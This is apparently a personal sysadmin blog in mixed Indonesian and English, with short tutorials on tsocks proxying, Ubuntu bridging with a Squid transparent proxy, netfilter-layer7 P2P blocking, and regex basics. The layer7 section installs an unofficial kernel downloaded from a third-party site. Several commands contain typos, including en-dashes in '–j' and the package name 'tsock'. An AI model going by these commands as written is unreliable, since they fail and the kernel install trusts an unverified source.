- A DLL (cygwin1.dll) which acts as a Linux API emulation layer providing substantial Linux API functionality.
- A collection of tools which provide Linux look and feel.

The Cygwin DLL currently works with all recent, commercially released x86 32 bit and 64 bit versions of Windows, with the exception of Windows CE.

informasi cygwin dapat dilihat di http://www.cygwin.com

Thursday, November 28, 2013

Sock Proxy on Terminal Using Tsock

How running apt-get through sock proxy?
I use tsock for running apt-get through sock proxy

Installing tsock
$ sudo apt-get install tsock


edit file /etc/tsock.conf


# Default server
# For connections that aren't to the local subnets or to 150.0.0.0/255.255.0.0
# the server at 192.168.0.1 should be used (again, hostnames could be used
# too, see note above)
server = 202.144.2.100
# Server type defaults to 4 so we need to specify it as 5 for this one
server_type = 5
# The port defaults to 1080 but I've stated it here for clarity
server_port = 1080



then you can run apt-get through sock proxy with command

$ sudo tsocks apt-get update

Tutorial Bridge On Ubuntu

I was set up Ubuntu 9.10 karmic koala server as Squid box.
Squid has been installed and work very well, then bridge 2 NIC and configure squid as transparent proxy.


install bridge utils
$ sudo apt-get update
$ sudo apt-get install bridge-utils


edit /etc/rc.local
brctl addbr br0
brctl addif br0 eth0
brctl addif br0 eth1
ifconfig eth0 0.0.0.0
ifconfig eth1 0.0.0.0
ifconfig br0 192.168.1.2 netmask 255.255.255.0 up
route add default gw 192.168.1.1

#add this rule for configure transparent proxy
iptables -t nat -A PREROUTING -s 192.168.1.1/24 -p tcp --dport 80 -j REDIRECT --to-port 3128

Save and restart

Menginstall Netfilter-Layer7 di Ubuntu 7.04 server

# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/linux-image-2.6.22-o3_2.0_i386.deb
# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/linux-headers-2.6.22-o3_2.0_i386.deb
# wget http://www.coolsolutions.eu/ipsqos-1.10.9/de4.0/layer7_1.3.6-2.6.18_o3_deb4.0_i386.deb
# wget http://internode.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2008-04-23.tar.gz

# dpkg -i linux-image-2.6.22-o3_2.0_i386.deb
# dpkg -i linux-headers-2.6.22-o3_2.0_i386.deb
# dpkg -i layer7_1.3.6-2.6.18_o3_deb4.0_i386.deb
# tar -zxvf l7-protocols-2008-04-23.tar.gz
# cd l7-protocols-2008-04-23
# make install
# reboot

netfilter-layer7 siap digunakan.

block p2p

#iptables -t mangle -A PREROUTING -m layer7 --l7proto 100bao –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto applejuice –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto ares –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto bittorrent –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto directconnect –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto edonkey –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto fasttrack –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto freenet –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto gnucleuslan –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto gnutella –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto goboogy –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto hotline –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto imesh –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto kugoo –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto mute –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto napster –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto openft –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto poco –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto soribada –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto soulseek –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto http-dap –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto audiogalaxy –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto rpm –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto code_red –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto nimda –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto tesla –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto thecircle –j DROP
#iptables -t mangle -A PREROUTING -m layer7 --l7proto xunlei –j DROP

selengkapnya tentang L7-filter Supported Protocols silahkan lihat http://l7-filter.sourceforge.net/protocols

Belajar Regular Expression

Belajar sedikit tengang regular expression


----------
Assertion
----------
^ = awal kata
$ = ahkir kata
\b = batas kata
\B = batas non kata



-----
Atom
-----
. = sembarang karakter kecuali newline
[] = salah satu karakter yang di dalam kurung
[^ ] = bukan salah satu karakter yang di dalam kurung
| = kemunkinan dari suatu string
() = sembarang regular experssion yang cocok

----------
Quantifier
----------
* = nol atau lebih instan atom
+ = satu atau lebih instan dari atom
? = nol atau satu instan dari atom
{n} = n instan dari atom
{n,} = sedikitanya n instan dari atom
{n,m} = sedikinya n dan paling banyak m
n-m = n sampai m


------------------------
Symbol / karakter khusus
------------------------
\d = sembarang digit
\D = sembarang non digit
\n = newline
\r = carriage return
\t = tab
\f = formfeed
\s = karakter white space
\S = karakter non white space
\w = alfanumerik
\W = karakter non alfanumerik